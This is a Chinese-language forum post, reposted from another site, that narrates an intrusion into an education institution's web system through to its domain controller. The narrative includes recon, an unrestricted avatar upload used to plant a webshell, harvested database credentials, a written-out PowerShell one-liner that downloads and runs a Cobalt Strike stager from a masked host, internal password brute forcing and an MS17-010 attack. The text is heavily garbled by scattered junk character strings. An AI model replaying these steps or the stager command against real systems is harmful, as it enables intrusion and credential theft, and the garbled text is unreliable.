找回密码
 立即注册
查看: 3902|回复: 0
打印 上一主题 下一主题

渗透实战 | 从外网直接打到内网全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2024-3-1 19:41:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

$ I: `$ D8 a; I( [$ l+ E6 i$ D5 K 这次渗透是一个从01,从外网到拿下域控的实战过程,希望可以给大家一些思路 ; I! j0 x$ E) v( ]

$ W3 }2 _& f1 _! V2 A, M

1 o0 U9 @9 b/ L' }; i  & _& T/ D2 K$ f+ s4 @- V. `- t* j

& N( i8 B# U S7 Z7 g' z. `

1 D# @! x" l; X' x6 e: \ 正文 6 I) q( H5 f6 A

% E* c& I0 g3 _0 m. _/ C! @

! M* }+ R0 Z, m p W/ }   + L8 C+ Y5 Z. k. ^) y

- Q, Z& q+ a: _- F5 ^

: \, s( W, L5 q! t0 h, j) w) p 目标:www.xxxx.com(一家教育机构)
1 i/ k% z# O; p+ t; I6 X9 N
打开是一个登录框,只能是手机号+密码或者手机号+验证码且并未开放注册功能
4 l' k3 `3 m5 I' {) C5 }( z

: j& a4 }2 p: h+ r8 T4 T* P

0 K4 _! ?+ `6 |( p. v: J( V vshapes=5 j0 e) u% W; S" A

! S5 c. U) a `: g# y

9 p: K0 ?2 O: a( g+ S- @ 进行了简单的信息搜集
& x/ |$ W( {, a e
7 ?' I9 t" x4 p$ O! y) W
m+ ~3 U# E# D J* o

, C, ]& b1 L `' ?9 Z! \0 _

8 _ a' N+ H! z 子域名搜集 8 h9 \0 {3 ?" e( z7 N" ~

' G% l7 c+ A. u3 p: k' k V

7 @/ x/ P# u" Y K vshapes=) o$ p2 s2 e6 w1 i8 m1 F, I

% j9 W4 S3 o1 O# g% H4 c

! H: p0 H& W @$ B% A# D! a9 k fofa找资产
' u" R( @7 V! D! W% X$ u) e) e8 h: Y
- a, Z0 m$ K. G: N" T4 u
1 i8 n, M; d; } v

' r0 o# T( a: U: n& n, A6 \4 j

& Y, T4 g- ~, P# p. @' x- u$ h" `7 X vshapes= 5 g% ^6 y& x; l( B+ u$ E

3 O, x' z8 x8 H: L+ {" p/ p' q9 Q

2 n' o5 Z5 b: }5 c! D 一共七个资产。去重之后只有两个。
8 L0 R4 P2 i4 |; h8 m, _2 i: v, v
; o: s9 D* _+ B1 \, Y
; R0 l1 ? ]3 O$ }* R: b4 {" r

, A# q3 j; f% |. N q) t" @+ t

& P: \. D# n$ Z p6 \, B 目录探测4 r9 X0 G l- j5 ] q: a

/ l7 j: Z& |. v( c' d# k6 Y

6 L1 @& t% [6 z4 p1 g" Y$ s/ g# T vshapes=% H" c: }! j' p0 I+ }

# P8 U8 q; H+ k0 I

- A8 o O5 Z5 |! K6 o 我尝试了暴力枚举,看有没有弱口令之类的,然而并没有
P; g I* ^, X& y7 b
7 h) R! Q% d `3 ^1 P- C0 {* o
0 n/ A5 c; F3 k

/ n# [8 O$ k3 r, }" \

3 p2 q8 P' b- c9 K/ J# k$ W0 \ 我又尝试了通过修改返回包来绕过登录界面 + P7 e' O$ [3 s b

% d0 d& @9 Y H6 Y/ o9 }+ W

0 L" ?. [1 w9 X! X) s vshapes=% Q* U c# G$ P6 Z; X/ U

. s1 O$ W8 j- e# s

|2 q9 ^: v: @* J5 Z" |" a6 t- v- O# g" ` 还是不行,尝试注入无果 Z+ A* x3 b9 m4 z) `3 W

9 X* ?( v. W* c& S

7 a8 F. W% G, L$ M+ H. \, P5 V" g vshapes=. {! Z8 n. b5 K F

+ N* q, |8 T/ R% e, W. A" z

5 |. t2 P1 Q- b, P/ A" v 不过我目录探测出了一处Spring信息泄露
: J+ R( ?$ I! u
2 R5 R; S' j# J, f" r, }
4 n/ ~7 Z( m: d, D, `: I' X1 l" o2 r

0 J; g$ B7 q3 M w$ n1 v: {

/ [; x+ _" n5 T6 K4 b! q* F vshapes= 6 _) o: |& D6 O( x3 w

) N3 d9 N% V; V6 E

6 o7 J+ ^! }) m2 {* v4 R' G, U& V 尝试Spring RCE无果,想通过trace目录下替换cookie实现登录,但是发现删除了这个目录 - ]: Z7 n% N8 ^1 I

: {4 A: h" @; t, U3 I! N

+ l# o1 ~. s. I; v' b vshapes= 4 k2 x0 I) z8 S' C

8 k1 e3 p( s. [! h

( k0 n0 F* ?+ d6 |" q8 ^8 f5 M, G 后对公众号进行了简单的信息搜集,针对公众号搜集时,尽量找后面认证过的进行渗透。5 A; u; X; h5 N4 n; j

2 z. g/ T& C0 V$ @

, a. y3 L8 x0 g vshapes=4 H9 Y, I& M; g4 k, R! g) N

3 T8 L/ G& B( L' O+ I& c0 \

: k. @7 ?) [: ]# a( F 获取有些师傅到这一步就手机抓包电脑测了。6 E( u8 F9 ~. V/ L. Y1 s/ _

) B4 x: Q. @& z3 U8 d, W0 d( N+ c7 c

; W. c1 X0 z7 } Windows新版微信可以抓取公众号和小程序的包,只需要把IE代理配置一下即可。 Z) x, c: t$ `

& O) X4 i( p) ?1 Q1 j, g* x0 O0 X% _9 O

; ~4 Z. i% D* V3 S 其中在一个公众号发现了小程序,可以进行注册。! m. Z5 w+ T4 q% Z. w

, ?: f [, c8 M! K7 B- ?/ E I( e

3 F2 v+ v3 H2 H" x- v) s. d' U 看到了头像上传,尝试上传获取WebShell 2 E) p9 u! ?9 Y/ ?' z; g

; d$ a- l" S+ [$ K3 e+ u

; h$ C+ n& L) s vshapes=: C P2 U% ]: W4 R

. N& c8 { E8 U2 u" {8 H

) |" c9 i: t; f2 ~3 m1 C M 未做任何限制成功GetShell,上了冰蝎马,目录没权限访问+ ~0 i4 R& o F, i/ U

" `8 f5 y0 [/ u6 H- [. O% E: l

3 |" o2 J, B- f! w3 X) l. V vshapes=& b5 J& |" X6 P- ?. O+ C

% s! C" ?2 a7 d8 T" }

& v+ z# r& M1 f& M% V9 u5 t 然后上了大马 9 I' }! s+ H x2 h3 P

. @" {& |' H. O5 t, |

1 f/ e8 l0 Y$ P+ C: o$ m( e vshapes= G: e4 K) n' k% v$ f2 K/ g

/ O9 G0 C+ x/ e) L: n

% w# W: h- h4 [' R0 R4 W vshapes=4 q r& i7 p* K# a- L

( A3 c* P5 M0 N/ m( f

$ h& i1 \$ k! x' { n+ \: a 通过翻找文件发现数据库账号密码 t! m a) p$ u% E; h# p: u1 K

) n7 `8 h/ U7 B! _ d# k

0 j* D/ K, u* r3 M" q vshapes=3 u2 _, a1 T& A% J1 }* @

4 u, P7 h: C/ P6 `6 E# k7 L9 A

I0 v5 @/ t. f7 `" n --内网渗透 9 X4 Q# Q, f. ]- M& q8 t! P

# ]3 e- Y! o$ y' {+ N& n

5 z. K9 |" u7 A) @ 直接通过powershell执行 cs上线 B8 B3 w- X9 C' k! ~; F

+ C4 A* R: S/ I6 Q

" F3 e8 z' d/ }8 I# l# P9 q. U powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxxxxxxxxxxxx/a'))"4 P. \! ]3 o5 q( v

, u2 O ^4 c0 C- T0 C! m5 ?& E. u# q

& P9 K( {3 c# w3 q; i( u vshapes=6 ]$ d# _9 V5 P4 u8 q: F

, \ H" [9 _8 a/ z: j

* q& f$ I: d+ m. g) H. o 进入内网后,简单的进行一波信息收集,寻找域控并对服务器段进行弱口令爆破 7 v4 w, e( L8 g9 ]+ t/ {

/ z: ^+ y* R% D! h$ e

1 j; A! I6 t9 [+ y: @. G vshapes= E4 N3 D" h/ ?

, u' i/ T j/ C6 {3 z# a

, e* _9 c( k3 N- O0 J 登录爆破出来的服务器,发现多网卡且存在逻辑隔离。
: D+ ?& n( g" k4 P: q- m
}5 d; }; b p5 c
1 u' Q5 T# {& G6 u
5 q0 u5 L* E) z# o n! \

" `7 m0 \: U0 |

' Z8 i# _# l& [, w; z/ ]3 K vshapes=5 A! l$ D7 D5 T6 g8 |5 w0 q* [; ~8 K) }

# |6 h' k: K! N/ M: l7 r5 }9 [

% d6 ~ o- ~0 w8 c3 a2 g+ D ], k 通过跳扳机能通域控,发现域控server2008且存在ms17010,直接一把梭
, C: g$ N* K' v& o; v
/ z# O, t$ A# L
/ b( G( r4 {2 ]) R8 u" B; x

1 {4 S7 _2 J9 h" ^$ z4 z

7 C) n9 m, a2 v) t vshapes= ' d& N" v9 x4 `5 `! U

! Y4 a8 b0 a' c$ t

. s# Q1 l0 h* ^% J
( c e% M0 b& m8 F) } L
0 b7 B/ `( ^& h
0 l" h* w' ~ r( z5 h: K

" z3 w E1 B E, }

6 j5 D8 m6 V) O/ E# ^  3 F7 G$ z. M6 y- }/ Y. |

; `7 `0 U4 h) q

/ B% T" S" k" H, t% v8 j s# L 小结 , a, D' V% B2 B5 z0 ^7 j

0 r# r# U' v- a2 v

; V' q i7 D! @   6 e# O9 `4 G" ~, s# C( [( [

) ]$ x! d) ]# L3 T# ^3 m

6 X6 M) ^6 g" i! Q5 `* P8 o: ?% a 在渗透测试过程中,信息收集很重要,细心和耐心也是不可缺少的,总得来说,这次的渗透测试总的来说比较顺利,希望可以给大家带来一些思路!! ?" L& J6 I: W0 R: Z' t

, N9 t- M' K' Z- \$ K4 B7 k# N# ~6 y

8 w4 K8 H7 ~/ L9 B* X$ ^   / p5 e' W( i$ K. W& X) v

$ N" d+ p' I/ m4 u
    ) Q; o4 s- e( C+ T
  • 0 Z! J* @1 k* y3 A' j   , t2 A _' w9 T1 n2 o; N( l
  • 7 t; G% _5 o, }! u* O6 i4 X, F- V n6 E0 @3 D
  • 0 z: T0 D. i, g4 G   7 a+ [* o( ~! p C
  • 0 T1 N- Z9 O* n! d& k5 d* s/ Q& }
: `# @9 h& \. k

. G( L! w! ^4 J! ]$ @6 E 作者:Xm4FDf转载自:https://bbs.ichunqiu.com/thread-57879-1-1.html% Z* B8 K+ M! B n

( J/ c2 @# l* h! W. k5 o5 d3 k

m% @8 N8 F. }7 O/ \; V* U8 s   - _. n, B( G; K% _

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表